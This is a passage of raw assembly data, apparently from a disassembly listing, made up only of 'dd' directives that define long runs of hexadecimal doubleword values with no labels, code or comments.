0F40FDAC6h, 8A43FC59h, 0EB00BF78h, 0B6FBD237h, 25657F9Ch dd 0CC403822h, 0E1C7199Eh, 27D0929Dh, 0E802D86Eh, 10D406A1h dd 80FCA474h, 0F6BE6D07h, 20EBAC41h, 0C5E61660h, 89D66991h dd 220C5002h, 0A2C4800Fh, 1269DE44h, 21709927h, 0D567379Ch dd 781000BFh, 943A166Fh, 6EB49043h, 3703E63Bh, 0BCE9C9D1h dd 4CA0C53Eh, 7B95B0D3h, 460C4BF1h, 39209EE0h, 7636F80Fh dd 0CC24A0FAh, 16084E9h, 6DB1FCA9h, 0E8AD0A99h, 6E02B244h dd 9C404D05h, 5C870C7h, 0AC425665h, 0C3D4B07Bh, 8E021CB1h dd 0DC8C6Bh, 0C62E5F99h, 92AFB9C3h, 0C43FF09Ah, 1A49E03h dd 0F6B7455Dh, 3B5710EBh, 5476BEh, 0FCEA0B44h, 6776E033h dd 0C8A59538h, 942A7FF0h, 1506B0E5h, 0E791C655h, 3A8D0941h dd 38985CA0h, 81C2E0CAh, 490B6844h, 3187EE0Ch, 8FCD4E33h dd 56E62DC0h, 5F7918F1h, 3AF6F300h, 1E1366A5h, 0C5D7517h dd 0A45E1DB8h, 0D0C50FE9h, 50F0DE7Fh, 7D760583h, 84345472h dd 747C43ACh, 7922F950h, 3A6700DAh, 8BE0CD59h, 86FC9016h dd 51CA1019h, 6F10E430h, 0B5253CE9h, 44A44779h, 0ABED60A2h dd 37EA003Bh, 13627BE4h, 0A439B5C6h, 72C05193h, 30F3F268h dd 0D91D5F38h, 0B0F1579Fh, 0C701FE94h, 7CD83859h, 2FB41A17h dd 0D6F06045h, 574606Bh, 738326B4h, 34A487CEh, 0E3F0C3C1h dd 5BD39102h, 405EBD4Eh, 2F616A2Dh, 80ABB73Dh, 81467404h dd 0AE875Ch, 5A88B03Bh, 23202E79h, 84B002Ah, 0DE635EF1h dd 0BBD0C812h, 0A88B0808h, 3E98B14Ch, 64609100h, 9F569C42h dd 8AA1200h, 794F13A0h, 2FCB18C2h, 6409098h, 70B68A04h dd 0E8953E92h, 0EAE088A6h, 0CA040AF8h, 0E9F7E4C7h, 0A6D44640h dd 0BE006895h, 0A8A211ACh, 2258B35h, 6797BD28h, 5449DB32h dd 10BCD4Ch, 0EB31660Ah, 0A3009C65h, 75D5E670h, 42471F5Eh dd 8461A27h, 8688B004h, 32141920h, 80AC3794h, 0C080991Dh dd 80BF4DA3h, 3006E91Dh, 5E0741B9h, 2C1C421Bh, 55307868h dd 0F42DE00Ah, 7D01CDB8h, 0F1B4ACD6h, 83C87595h, 601E2C85h dd 1CE54074h, 2B0AD190h, 94E2F808h, 0B0BD2583h, 44F380D9h dd 243B4860h, 0F2C4E2D2h, 655930D2h, 0CF21FA1Fh, 0DC01945Ch dd 0D2F69C43h, 3A08BC7Ch, 0B5031524h, 98EC3F0h, 0B0CC85A1h dd 0C6A3805Dh, 0F23A0439h, 208B9597h, 25F0B0C1h, 706E2ED8h dd 0ED985B03h, 77A00F09h dd 90DC5Eh, 0CC740808h, 0E98D3EFBh, 7C598009h, 8CCDBC88h dd 0ED264403h, 0F8D540DBh, 13D9C00Fh, 44B547CBh, 0B87442FCh dd 1D1F78A8h, 0C20E160h, 0FFD44B86h, 40BC6E88h, 0F6465Eh dd 0A3DF4849h, 5BF7DEEh, 114075B3h, 5A0C090h, 631E1398h dd 80B1041Ah, 0F0BCD7C0h, 7CC01024h, 2700D046h, 9E67A221h dd 310041DCh, 39EA6D94h, 5DD03C10h, 3AECA0EDh, 64007576h dd 0A1B5904Fh, 16FD066Bh, 0C1883BB8h, 36631DB8h, 0E3601044h dd 8CE5557Fh, 19D07C0h, 2155E2F2h, 601A2448h, 15013AB1h dd 942A6E0Ah, 798F1145h, 2189F5C5h, 0CC917C17h, 0A892CD80h dd 0B86213E9h, 7379AB19h, 6A6B7820h, 61911813h, 63AC1807h dd 42200069h, 0E04054h, 909510E5h, 98E6A90Eh, 3490A876h dd 0EC861F20h, 22BC201Ah, 1DCFCB6h, 0EA29D688h, 0FCE032F2h dd 0E81D41EBh, 0B5560A63h, 5375E000h, 25E1FB16h, 38096EF7h dd 0F7E43045h, 7BD75960h, 8694E501h, 7AACBC57h, 5C583CF8h dd 0B182A8F4h, 5401155Dh, 1882F728h, 0B69DDAD5h, 46761C74h dd 0BE9B059Ch, 38C7762Dh, 0B58F9AC1h, 712869A1h, 0A3189Fh dd 2950AAACh, 67387F04h, 34B2E2FEh, 0EC9C3C09h, 4494E788h dd 0B4496029h, 86420076h, 0B7D3FD58h, 0A14DC7ABh, 6C1A08ACh dd 153F0920h, 0C4C0F46Dh, 242D9FA3h, 0C3E0841Dh, 2900E4F7h dd 19B5AF11h, 7D22971Dh, 400F02E6h, 4494DE55h, 3908DC52h dd 0BA6277h, 0B29A1D1Bh, 560175D5h, 0A4EA23EFh, 0EDC505Ah dd 0ECECA490h, 80187054h, 62745E76h, 895C090Eh, 9E095CDAh dd 0E4F8C5BBh, 0C8C06723h, 0B43BE8Dh, 0BD2C0E94h, 4808C807h dd 0A0CB25BBh, 6E43054h, 0A9DE0298h, 0AF4BCC3Fh, 0CE44A84Fh dd 5972CD60h, 41F19405h, 0B0F63BEDh, 0D40FD6E1h, 0AD029A08h dd 4C524AA0h, 9160C43Ch, 97910564h, 4AC5EB9h, 0B40392C5h dd 9F27ED14h, 11CC9F4Ch, 9A8B8122h, 0E0788297h, 1AE6D500h dd 1FFA85EBh, 9F46DB1Dh, 0C7C90A05h, 0A1D12C83h, 4293211h dd 45A26C00h, 1FBAB52Ah, 0C7E9DA03h, 0A06D9B0Fh, 98961E3Eh dd 0B9D0EBA0h, 6E5D0066h, 70C183BBh, 29CD5ED2h, 18012136h dd 498E0266h, 9187890Ah, 0F62B41C3h, 0CFA030C5h, 38505B02h dd 54F82CBCh, 12074048h, 0D97395C3h, 38E6DB01h, 74BC7B7Ch dd 0FC5B2E8h, 3BAE3A69h, 11030488h, 17D7128Fh, 3039E6F8h dd 3B94DD50h, 0B9F7D344h, 211B00B0h, 38FF4470h, 0F4592Eh dd 224BA024h, 1FBA2FFCh, 1F809B11h, 31CA9FF7h, 5A47AA05h dd 30003AD9h, 8A700EB2h, 0E81D95E4h, 5480A291h, 8BBC6B01h dd 0FC7C5E0Eh, 40B08BAAh, 0B7725FCh, 1B3C0A03h, 2C414E0h dd 0B094B090h, 7F74674h, 2999CABCh, 0F3FA6820h, 0D58C126Ah dd 607CC806h, 95E2CF00h, 1AB4CAF4h, 0D6DEC566h, 0F4082E0h dd 3420CCF8h, 655E02DBh, 0FE434063h, 0DCE854h, 3724FD38h dd 988DBEBBh, 0D5966F14h, 6C8402A8h, 0D08B8143h, 0E59E27E4h dd 12402CCFh, 161831B2h, 46C18A97h, 61376C18h, 7520C900h dd 0A653595h, 0B83F50D4h, 63660969h, 0A0647B0Bh, 91A09597h dd 1D6E85CEh, 0A042C183h, 994C990h, 566F9AA5h, 0F208F027h dd 485CC313h, 35AEB980h, 9521046h, 0D6D56312h, 21916406h dd 61BE6E30h, 93855h, 9579FE88h, 96023C12h, 83A8B4Ah, 1012A23h dd 6741C835h, 1272F3E0h, 0D1609893h, 2037D758h, 66143A5Bh dd 4EC43954h, 228EB020h, 6E623CA1h, 8FEE2580h, 0FFB8D2C2h dd 2498B70Fh, 0B9BCAC7Eh, 0AEE20421h, 986A46DEh, 859516A8h dd 24A4A0E8h, 5122005Ch, 0D134E5BAh, 3A00ECA1h, 0ED593DE1h dd 5B931E4h, 4C74103Bh, 50F8B70Ch, 0EA409C54h, 806502A4h dd 8AC36F07h, 9398A4A0h, 0D30124E7h, 0F9CEDD75h, 6EC47007h dd 29A9C0C5h, 0C415ACC8h, 6AD82500h, 6283B94Fh, 5CFC525Dh dd 0A48EC513h, 22106548h, 257F148Ch, 9C403FA4h, 6076E95h dd 74083868h, 0C98F1C6h, 0EC09E90Eh, 0C371B771h, 7030B660h dd 0A1F0A240h, 0AC7C06B2h, 0F6794D13h, 308DB1E0h, 0D5724081h dd 700E98F2h, 8E88B90Ch, 0ED04296Bh, 2DE61DA0h, 9E91989Dh dd 2D3EE981h, 0A052EC0Bh, 71E41A52h, 298B0300h, 174122EEh dd 5D4A7C4Bh, 8E4E18C4h, 0C3EE887Ch, 8CF1639Bh, 0BBB84822h dd 4488F4Eh, 0B082A744h, 0B8DCB6FFh, 40BC04F4h, 0A8641E8Bh dd 8C448264h, 5F9900F5h, 9DB7B882h, 9C9F915Ch, 0D0A3E101h dd 7CC9DB1h, 9B854BA1h, 942C1D0h, 38303036h, 4F0C02BDh dd 0E73E5FD6h, 93E4660Bh, 4C5458D8h, 81CF8800h, 1FF8AF67h dd 0D320C379h, 2BB57810h, 262358h, 272B4A5Bh, 0B01002h dd 6820DB41h, 0B050F520h, 80D2D697h, 313F75D5h, 1C25EEh dd 43CC4124h, 853CB690h, 0BCF3A43Fh, 0DC997874h, 0C118CCD9h dd 67217B00h, 0E155B70Ah, 4CB7BD8Bh, 92A35700h, 0B1C8A9Ah dd 0A132B190h, 0DE2C740Fh, 935BC5D1h, 90C1E057h, 0D045B499h dd 881C04A3h, 0D0EA9773h, 0F2E14498h, 80DC2428h, 22A7B325h dd 0B1B80A4h, 0EA0F1CE4h, 0C03A995Dh, 0FD3E059Ch, 0CB2E03ADh dd 44833248h, 11C21D9h, 38C14263h, 0B5E0A824h, 0EE914017h dd 420DED81h, 1C097A4Ch, 905C5B39h, 388AD271h, 80CE2BC8h dd 29693AA4h, 0F56100C1h, 8744AD52h, 0DBF85F46h, 9BC71C1Fh dd 6A701547h, 2C18E9D0h, 4B109888h, 0F6E8128Bh, 66B9E000h dd 0F2E27D47h, 12C2EA27h, 0E0596EC7h, 9CBE9E40h, 725B6B82h dd 431C4AC1h, 0E978C3E0h, 0E03C3925h, 58402C50h, 0DF0B2097h dd 78E1BF93h, 5F043C6Ah, 3368DC00h, 0B38FC615h, 21140830h dd 10121A1Eh, 9923E86Ah, 28318B17h, 0BCC41B47h, 57AD07CCh dd 0CA343FE9h, 55E1D3Ch, 3EAFEF94h, 0F123A0h, 2DB0E5AAh dd 0A0983A6Fh, 28E66C20h, 0F364601Dh, 9B9420h, 447058BDh dd 0D4C5C684h, 0F8596CE8h, 77390454h, 0D817C28Eh, 58821CCh dd 94485422h, 0E90F1666h, 0C50CA40Ch, 2088985Ah, 1834203Ah dd 0C37F9C0Ch, 0E08996h, 60D8A3FBh, 0D5B33193h, 0F6635800h dd 6A64BF98h, 809B1D46h, 0AA97805Bh, 6FF2E429h, 0BC08E912h dd 6E070447h, 0CE7F3B80h, 7C050BE8h, 0A8449433h, 0C0DC7438h dd 769B7899h, 10F86054h, 0C589C2CFh, 0A816D8E2h, 5CC06853h dd 67D174h, 0B013D237h, 5666047Eh, 779A0D09h, 2C4850EEh dd 49BC9FE4h, 0DA0C9C0Bh, 0C2014018h, 41D95D55h, 38241B94h dd 0B13C17E9h, 22441E61h, 35701607h, 2C527708h, 80F4F46Dh dd 1D632A8Dh, 1200C8F5h, 8F3F7E38h, 3CC0172Dh, 1C1D0690h dd 6A0B4631h, 0F064039h, 1337942Ah, 99740491h, 0A96AABECh dd 9FF22B0h, 41144265h, 1D448458h, 0C6A90033h, 97E1D146h dd 0FAE4F7BEh, 0F1E90119h, 8F105FE8h, 4B3F47C5h, 441085E0h dd 1C88EDBCh, 0F0E54136h, 0BB1D92B2h, 0D1AC586h, 7FF81879h dd 2361008Dh, 0BFAD674Dh, 850015FDh, 0C2BD89E4h, 2F39DCA8h dd 0B08587B4h, 0E594A0D8h, 206B9781h, 0E237EB74h, 0A0252613h dd 8F9B0820h, 0B87E5C7Ah, 9A820509h, 0AD9FA004h, 498600F8h dd 64570376h, 0FD99127Ah, 0C86C055Ah, 0E87CA9F9h, 75DD00D6h dd 2749F6BCh, 0D700A1BEh, 0D837E53Ah, 5C767DC4h, 0E410A05Ah dd 8F17002Ch, 0C8183B9Fh, 540B9D95h, 817168FBh, 0EACCB0D8h dd 50B858D3h, 5A06310h, 0F8B3665Dh, 0EEEA20E4h, 73C8006Eh dd 7FECE1E9h, 0A0AED95h, 3C088545h, 6979DF40h, 3CD95863h dd 79D71CE0h dd 0F85C0438h, 9F846E05h, 14B89AC5h, 152310DCh, 0AC6CCEE1h dd 50910094h, 54D9E424h, 6160D42h, 74B62157h, 0FA8740B7h dd 0BE011F3Ah, 0EA327A88h, 4893ABD0h, 0CECCD2DEh, 9C795C79h dd 3418AF18h, 0FCF83BA3h, 9A1C803Ah, 71EBB804h, 0CAC242Dh dd 23443B5Fh, 24BB09CBh, 548564C6h, 0B60A0C4h, 0EDB0507Fh dd 67CEB109h, 5105965h, 935BC3BFh, 79D02AD8h, 8837F29Ah dd 78830877h, 0C57074E0h, 0A49FDD10h, 0D400FB3Ch, 59926BB2h dd 7725621h, 0CDBB5C37h, 1A0781BCh, 10732B5Dh, 409901C6h dd 3D10D4Bh, 9E0226Fh, 0C0429717h, 2F44122Ch, 341D272Bh dd 0AD8F2491h, 988449E2h, 0BA12DC60h, 0DA1C4082h, 8A754AB4h dd 0DEEF10CCh, 0D8889132h, 0C8642209h, 0F454F689h, 0E4167B02h dd 4047DD20h, 0B80FA40Ch, 0D060775Fh, 49E38E0h, 415A94C5h dd 29A82263h, 5C16A042h, 25465E7Ch, 72BDB805h, 318B2F9h dd 3DB206A6h, 91FF004h, 17F80014h, 0E0D59A5Fh, 0B35F9B1Ch dd 0A123F82Fh, 2164F800h, 12EC985Dh, 0A118976Eh, 958030D8h dd 3872E5F7h, 7F8F077Ch, 71595E1Eh, 189EF118h, 0AB930402h dd 82EB489Dh, 0F8F1B9BCh, 0A8C6E83h, 30EDE5C6h, 9F064000h dd 0E9E6BADBh, 1F539325h, 81F41154h, 0FD967B5Ah, 4745F440h dd 77990575h, 88C25EEDh, 0CC764378h, 0AB486F1Dh, 8FE9B140h dd 0EAF59F01h, 15890057h, 0E4D89A1Dh, 5D4F1E46h, 4690E0CCh dd 786A4BFEh, 7C35AF00h, 7FEB70DDh, 0C1DEF730h, 0E8D588D9h dd 9FDB272Dh, 96002864h, 66236271h, 0E247A09h, 76BD0515h dd 0C3609DCFh, 9A06E435h, 64023492h, 6E951040h, 6F68E165h dd 275D10A4h, 0B07358A7h, 781C60D0h, 0F20063F8h, 747ADE76h dd 268EA70h, 9A17DF8Ah, 0D056E6D2h, 0D8040E92h, 1005B7DEh dd 0CA00E090h, 226C7E82h, 996403F0h, 0E4DB31AEh, 8CF93F8Ah dd 48226505h, 9F0938FCh, 0CC54DC67h, 2B4676h, 0B7A8F849h dd 97B3093h, 3ACCFD94h, 65708C80h, 50B4E30Ah, 0E4C4E52Dh dd 292C60D2h, 0E7AC0092h, 0B50544DCh, 135AABC1h, 85A1F4C1h dd 0C500746Dh, 6C10B2CDh, 8B4C813Fh, 8C2BEC8Ch, 9313F600h dd 232212B1h, 89AD30D4h, 0DD2144C8h, 60D06487h, 98DA940h dd 3F95019Eh, 35445C82h, 0C34C020Bh, 30940F89h, 8CCEBCh dd 0A85D7121h, 0E39C404Eh, 0B8100C97h, 69226378h, 44A473ACh dd 0B0BCBACBh, 38C29BCh, 366EE317h, 0D2B9C639h, 2100E79Fh dd 0B065D143h, 0BEA2F59h, 62645EF2h, 9056CCC2h, 5D5A00DCh dd 0C565F1CEh, 0A004CA1Ch, 6C4B655h, 18426490h, 5C63F0FFh dd 0AD800C6Dh, 0A6491939h, 41002690h, 72EAAA51h, 4B2ACE4h dd 0A150735Ah, 0B4EC8CC3h, 1F887800h, 816B1552h, 8B9B0069h dd 5FFF9195h, 39008ED8h, 4632BB06h, 0BE851F40h, 0EE465E7Ch dd 98C2D90Ch, 570041E1h, 0AF529FBh, 6AFFEF9h, 0A3A1F064h dd 0BB009AF2h, 62AD2C1h, 4B16C96h, 356DE15Eh, 3020E56Eh dd 5718D95h, 0BDB90301h, 0F56351CDh, 4480322Bh, 0F5716051h dd 8B07CF18h, 699C179Bh, 0DBC1F1C4h, 1469D4EEh, 17E59811h dd 0A89013E9h, 1437071h, 0DE97D49Fh, 0F81D75A9h, 509A28CFh dd 0C4A84797h, 370A609Dh, 7B593D04h, 0C2E04C16h, 38E76F78h dd 0A560F644h, 0F3005444h, 0DB7338DEh, 4D220B3Ch, 7D12889Ch dd 4AF8A294h, 0EFE2C0A3h, 9B59730h, 5E0841EBh, 0CAA7085Bh dd 0FF000B4h, 31DB0A14h, 5B4109F7h, 2069E858h, 189FF617h dd 601D4C22h, 871C89h, 2A81CB75h, 0DA1FC2B5h, 0B0CBC94Ah dd 89692621h, 95A050C0h, 0CFB7C000h, 0E60295C2h, 0B687EB52h dd 0FABCE372h, 41B05692h, 9AD006A0h, 321DE28h, 73370E18h dd 39D0FD49h, 72FAE8F8h, 10DA009Dh, 0D0C59077h, 1F0452A2h dd 5E0E6D94h, 5F8290EDh, 0D30BBA7Ch, 0A45A70D8h, 10A08C5Ch dd 4748D6BAh, 0E0D85025h, 19DECD04h, 0CCAC6D0Eh, 791A40A2h dd 18A1595Ch, 7BCD0067h, 0FAB8F725h, 1690D7EFh, 0A80B344Fh dd 870E40Dh, 0EB0C5410h, 1FE48A42h, 0C880A211h, 576E7BA8h dd 80102C00h, 0ABC22E9Eh, 672D24Fh, 0E9DF3AFCh, 4B2CD97Ch dd 4BC9891h, 85DB0EB7h, 0CFBC70BCh, 67C8008Ch, 4D777DA6h dd 0D001BD90h, 1B523732h, 90229BC6h, 96027458h, 4D078D5Fh dd 2779CC51h, 580FB018h, 376E067Fh, 3C5C5804h, 0D8E4B50Bh dd 0D01AD90Ch, 506183Dh, 32C39975h, 4180606Eh, 0B641F794h dd 1E74488Bh, 0F9004CCCh, 13C31A5Dh, 0A03E42h, 96F12FCAh dd 404C0233h, 859E9512h, 0F6EC04ECh, 180A0F8Ch, 2F8020B7h dd 4077DDE9h, 0BF0E3FE2h, 0F7881A65h, 22072C7Bh, 6FA8AC67h dd 0ECD15EABh, 87FF3600h, 34694Bh, 720C9D3Dh, 770B646Ah dd 61391125h, 703D44F8h, 5CF843ACh, 0C67A0600h, 0FA5F3F8Dh dd 2064B8DBh, 354B9897h, 2C72049Dh, 363027B2h, 0F6C61ED1h dd 6465C037h, 0B63A16Ah, 2092889Ch, 74ACBCE9h, 7F0D2B00h dd 2DC1ACAEh, 487CF210h, 6928CC07h, 686D2588h, 0B8BCAC66h dd 2CA465Eh, 0A7943FE6h, 2088FAA5h, 0FCB42B68h, 6C42026Fh dd 5F4C003Fh, 9CB6E52Ch, 60D7A842h, 13EDF90h, 8327BD68h dd 839DC5A7h, 943B0E21h, 0DFB8C9E7h, 4995FDCh, 0DE444555h dd 0BC70FC1Bh, 6B4A8CCAh, 12FD88CCh, 0E7383042h, 0BCBC4D24h dd 0FC92009Bh, 4B58F2D2h, 0C8987C3Bh, 0DD264C10h, 290BA8Eh dd 77AC41DCh, 1B28488Fh, 996F0717h, 29B6DFF8h, 9840FC7Eh dd 2605DCh, 0B36C4B28h, 0B44F9EE0h, 45B6150Bh, 0A03843E6h dd 13656206h, 4A5127Dh, 0CA376804h, 60704C28h, 962BFD81h dd 41D20027h, 0C6044689h, 8A1C7543h, 1CE41383h, 81DC4008h dd 0A4B68065h, 0DB0293Bh, 612E1C42h, 24307F2Bh, 9808201Dh dd 40B82E19h, 9E8E97ECh, 43954B07h, 12849281h, 788794F0h dd 491461C5h, 54100AE3h, 0D78881B4h, 4BD60086h, 0D06C9BB7h dd 4B000323h, 0CC94D684h, 55B7159h, 454D0B7Ch, 93A4C186h dd 2ADA02B5h, 0DBE01EE4h, 0D4A181C3h, 0FDB845A9h, 0F8C4B860h dd 428802AAh, 9B9A1501h, 0A0793459h, 0B500BB18h, 3C840305h dd 146799F6h, 9836C80Ah, 0C8DC8B4Ah, 0D186C2CBh, 0D311185Ch dd 4F01624h, 470F3894h, 8C30B1Dh, 0E080A41Eh, 2F103269h dd 50E270B2h, 3DC847Ch, 6409B70h, 168D6C7Eh, 0C8DCCB88h dd 802FC522h, 7970BBA8h, 0C46E2FF9h, 59252C00h, 0A0697AD3h dd 73201844h, 7487011h, 0ED9D4C14h, 9C6C705Ah, 0D271E5Fh dd 4464C716h, 0ABE9609Bh, 77983D8Fh, 8A40EDAh, 448014CFh dd 7E659F96h, 0F8B2074Eh, 0F6C0AF00h, 4735C1ADh, 49A794Bh dd 335C92C0h, 2E044904h, 40762462h, 219EA881h, 61322980h dd 41B98CC7h, 0C4DFE903h, 0A32FC9E5h, 0BC859811h, 127E344Dh dd 0C30AA80h, 97636574h, 0D8678C1Ah, 0AA60F144h, 0FA00EA47h dd 66DBB58Fh, 18AE41A9h, 6803F043h, 0EB01AC0Dh, 8F82F75h dd 0DED2A074h, 1F0A8E94h, 0CA1C0090h, 1121044Dh, 74121703h dd 65BC4232h, 0DC540FE9h, 24D6D89h, 0F932BBDCh, 18F17970h dd 0DD8312CEh, 0DEA048FDh, 0D6818C20h, 0B2287388h, 0C4443129h dd 0F601C26Bh, 9FF9DE8Fh, 20BCE89Ch, 370E29E0h, 0B207A406h dd 97BC8C30h, 52BAA91Fh, 12CA76DCh, 0E331CEA3h, 81C5389Ch dd 0D637EBD9h, 0F2FB328h, 0A4169400h, 343E64D4h, 842F4AE6h dd 0D6002423h, 9010EAC6h, 90D95973h, 0CCF88058h, 518E08Ch dd 0D43A63C7h, 1340A436h dd 303EAB40h, 0B631DC0Eh, 97FE82C9h, 0AD91704h, 200238CCh dd 0E5450Eh, 5660F1E4h, 0B2049B1Ch, 6C84D59Ah, 0BF6434FBh dd 2623BC2Bh, 7C79F800h, 250DD632h, 0FC829A70h, 5844CE6Eh dd 2EC19004h, 74B8BF21h, 6DD9410h, 0C26E4AF4h, 0AF9B09E9h dd 0F805859h, 0F7ADD23Bh, 7B106454h, 0CD902300h, 0B6A6A57Ah dd 0D6C00FCFh, 0B9672869h, 68807BF7h, 5D1E17C1h, 22BDB7E2h dd 62854h, 404D901Dh, 0B4FFCC2Ah, 0EBC09095h, 77241h, 3CC3A606h dd 979A7810h, 0D0DFE235h, 0A17D74FCh, 0D1F09018h, 2D32782h dd 7200A858h, 0C2ACD829h, 676EA239h, 0D0DBB9C8h, 22ECFED1h dd 1C8DC300h, 0F5D6082Ah, 0BE0F0333h, 4957579h, 38AB9A80h dd 0DCF88D16h, 427DD420h, 87972094h, 9E062B00h, 2DAA8983h dd 455D046Eh, 0B8D599BEh, 0C04030B0h, 50C08EB9h, 0C7978486h dd 7AA07AB1h, 773F82DCh, 8C7EB99Ah, 4CC80895h, 0F1C231B8h dd 222E9510h, 22B0B90h, 3850D8h, 0B14BC43Fh, 2A5D98C2h dd 0B4E4E8F4h, 1A640B08h, 94A41174h, 0E8FD401Ch, 2F1657h dd 7E785A01h, 87A8481Ah, 5661C36Ah, 0B3B56C01h, 0BC63BC8Bh dd 0B33029A2h, 27EF0047h, 0ED90835Eh, 34B193C5h, 0F10BE90Bh dd 0B4D3A5B8h, 7AA7F70h, 580CB267h, 5A1E2192h, 81C18086h dd 607B5072h, 2970F013h, 0BA8D63Eh, 0C0F0D2C8h, 0F0D12099h dd 0C74CFC19h, 7814717Ah, 27D02214h, 79E47181h, 1F818CDh dd 5497671h, 2BD6348Ah, 3400D86Eh, 3B467965h, 0DF29ECE1h dd 0F0DE492h, 5EE2C491h, 0F546761Ch, 86176700h, 81AED783h dd 0B4A2704Eh, 0E3B27C00h, 5FC8D1ECh, 953D3300h, 94F7C99Bh dd 54524899h, 15C0303Dh, 4731ADB0h, 3A558088h, 0AA0F8C68h dd 0B016656Fh, 0D778AFC4h, 100DE724h, 0C1E06DADh, 0D8B8ED82h dd 0FB386FCEh, 0A05F128Ch, 92F14D0h, 0F16A04D0h, 0C1080611h dd 2AD93E30h, 95788C9Ch, 0D80A0B5h, 0E818CC5Dh, 90434F9Bh dd 17B442B0h, 90F80097h, 1654DEBDh, 0A166679Ah, 24DB3A50h dd 0D0A5EC87h, 3F796A52h, 0CB90E91Fh, 109C9A00h, 0CE9B11CFh dd 0AC929908h, 6619634Ch, 0EE0FF095h, 5E40BC4Eh, 50009B46h dd 979848F2h, 4B95C602h, 50F88D28h, 15A0815Ah, 0C7B2010Fh dd 5CEF08A5h, 0EEDDAD40h, 0C04909F9h, 0AC54444Fh, 91BC9D25h dd 8E9580F0h, 59ABB884h, 40004087h, 0D9B0DF44h, 0AC124266h dd 5CA9A1A7h, 38C8C1D2h, 95479BBh, 79EB0DDFh, 34956400h dd 0F4B224B2h, 1E3FFC30h, 0CB911449h, 0B8D33A57h, 0DE653C04h dd 0C8648B12h, 0E031C028h, 543D2A77h, 9CE5AE20h, 503912DEh dd 33DCA018h, 29045C82h, 18A0D128h, 0C2EC015Ch, 73D4C98Dh dd 28C870FFh, 9362D40h, 4094DEF0h, 974124DCh, 322FC362h dd 712BFF0Ch, 0F1161268h, 5F8041A6h, 5BB87C46h, 16006C6Eh dd 45B29486h, 0E702DDD9h, 0C53AEFDh, 5F410008h, 0E491D2FEh dd 511899F1h, 0A83BAE17h, 409E0040h, 0B85FB510h, 0D029C054h dd 7236355Eh, 0F2E67805h, 0C4A22115h, 9630CCE2h, 0CF74307Ch dd 8B671DA8h, 28ED1089h, 0AD24D42Ah, 0D72AC0FCh, 0F6E96106h dd 4BB00075h, 3268F726h, 7407E794h, 6993E899h, 341D583h dd 4137179h, 0DAFAC3D2h, 10F68DE2h, 0B0329043h, 3A2E4Fh dd 0C8992D5Bh, 0E4F6F1E3h, 0B83FC52Eh, 0C301113h, 1241EB2Ch dd 0ACDD39EEh, 8CD3BCD8h, 0B9097600h, 11AA97F5h, 895A02A8h dd 0D1628F38h, 1426A85Ah, 467CFCEEh, 94130328h, 0D098B243h dd 0BD3C0E91h, 779994A0h, 6E80D252h, 3810659Dh, 7D04A49Fh dd 0A61B9305h, 58E4C30Bh, 1DA479E8h, 0C08565D0h, 0AC9DA744h dd 0BA000345h, 84685B97h, 25A16320h, 14599A11h, 0C0A86D2Fh dd 0D64DAD2Eh, 442C6D95h, 220560A0h, 6E2A04FEh, 818FB95Eh dd 2FB8E4h, 2D0AC441h, 0F453BD2Ch, 9AF2178h, 2B51C513h dd 594028FCh, 0EC6E61h, 8C1CED74h, 64F08648h, 0C7AC4008h dd 0E0350091h, 97679441h, 64E8C79Fh, 8A4760F5h, 89CE00B3h dd 64F47E27h, 80AB93C2h, 0AD8492D0h, 34F9C300h, 5B3D538Fh dd 0C5A50C51h, 0DA49661Dh, 3C11E424h, 0D94E08h, 965B0D44h dd 15043FEEh, 0D04B8631h, 6D25E8ACh, 3F0858E6h, 60AE8394h dd 0C0B69737h, 0D1B48C4h, 487420BEh, 0C903801Ah, 0B293D943h dd 0BBEBD80Ah, 31160442h, 0FA5E4A19h, 95108401h, 0DC20396Ah dd 4714C09h, 0D01407Ah, 1C546495h, 800FC8EDh, 0FE4337B8h dd 0FF25B972h, 70F4DB0Dh, 5E0CB715h, 0AC806096h, 41E70953h dd 0B45C67EDh, 0D13851A5h, 164818CAh, 0A07B9BB8h, 40002A6Ch dd 0C2D8392Fh, 0DFE133Fh, 0DA3C5410h, 0C46A2BE1h, 45009A23h dd 3B726DE5h, 25EEE894h, 0E4640AA1h, 0E8A899D6h, 6B868880h dd 0DD033F9Ch, 0AC3E28E0h, 11E9B0FBh, 6F890985h, 54740A63h dd 102F24ACh, 5E39E06Ch, 0E09C53CCh, 21D66140h, 63808C9Bh dd 0BD13E95Ch, 9C3FA9C1h, 442B98FFh, 4D18B40Ch, 4C386948h dd 128C24BCh, 0AC77EC2Dh, 6582EB98h, 74D43842h, 7004DB25h dd 22011829h, 98A43916h, 0E0720164h, 35573B84h, 0E2A824EDh dd 70610509h, 6208143Ah, 0B299592Bh, 9DD41A55h, 0C63B10h dd 0E804C1E4h, 2C771A74h, 6494B84Ah, 0C18F0008h, 4A5D0221h dd 4EDCA34Fh, 2BF2E0E2h, 36704931h, 6F7B0067h, 0DB9689D7h dd 78242263h, 0CD80883Ch, 0FBD4CB3h, 0B68629DAh, 18267134h dd 89760232h, 6F182273h, 3802605Ah, 0FE95F2Bh, 0C4E8A9C9h dd 802E0098h, 0E2C58A8Fh, 410001B2h, 73C7F4F2h, 9CDAB963h dd 0ABB5DC14h, 9488EEBAh, 0F2465690h, 28276402h, 5EF117h dd 6BAF2065h, 5697012Ch, 0D540B671h, 0B2016D4h, 0AD8F9A99h dd 941D3089h, 9C80A291h, 0BF5FCB03h, 8B4FA60Eh, 23766037h dd 2FF9A14h, 3C10D399h, 0E0D60B2Ch, 284676h, 0DF0851A6h dd 1270A3E3h, 0B8E87594h, 1E0CC014h, 0B7167D91h, 0DC059019h dd 47055D8Eh, 0FE8F97BBh, 0E0724A8h, 12402F07h, 4CC05B43h dd 0E980CAAAh, 0C29BFABh, 0F3ADC059h, 397A70C4h, 61A66203h dd 0F825A534h, 14E3EE41h, 0E4354C3Ah, 70485B83h, 26E56AA1h dd 10400E18h, 0B0ACF2B0h, 185C3880h, 0F8BE3267h, 0BD721B00h dd 130E3B68h, 0B2D72A5Fh, 9AB00BA0h, 26800013h, 7B23AF27h dd 2C4B0E9h, 1E4CDD34h, 0CCDA8A5Ch, 4BFE3709h, 11583785h dd 3C1C80F3h, 50B511CCh, 7D07D45Dh, 9220F6DAh, 0DB9132F4h dd 9455D231h, 0B82A54CCh, 0C9166F9Eh, 6BC74EE0h, 440B0651h dd 807B5676h, 0D5706D8Ch, 34839508h, 9005EE7h, 0EDF3268h dd 4B0F0B1Eh, 0AC5C1395h, 71472520h, 0E3BB0074h, 733D29FDh dd 3E867803h, 0A7BF4823h, 976CD960h, 9B1B5E3Bh, 0C2558034h dd 1713275Ch, 45B216Dh, 205D0BCh, 